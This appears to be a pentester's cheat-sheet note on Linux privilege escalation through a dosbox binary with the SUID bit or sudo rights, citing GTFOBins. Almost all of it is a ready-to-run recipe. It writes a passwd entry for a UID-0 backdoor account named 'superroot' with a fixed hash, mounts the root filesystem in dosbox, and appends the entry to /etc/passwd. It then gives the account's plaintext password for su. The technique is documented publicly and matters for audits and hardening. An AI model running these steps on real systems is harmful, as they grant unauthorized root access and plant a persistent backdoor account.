Dosbox Privilege Escalation

Resources:

https://gtfobins.github.io/gtfobins/dosbox/

Requirements:

dosbox has SUID bit, or user can run as sudo

Recommended to use with X11 GUI if possible

1) Connect via SSH using X11

ssh -X user@TARGET_IP

2) Create our superroot user to overwrite the /etc/passwd file

echo 'superroot:sXuCKi7k3Xh/s:0:0::/root:/bin/bash' > fkpasswd

3) Run dosbox

dosbox

4) In dosbox GUI, Overwrite /etc/passwd file

mount d /
D:
type D:\HOME\USER\FKPASSWD >> D:\ETC\PASSWD

5) Get root

su - superroot
toor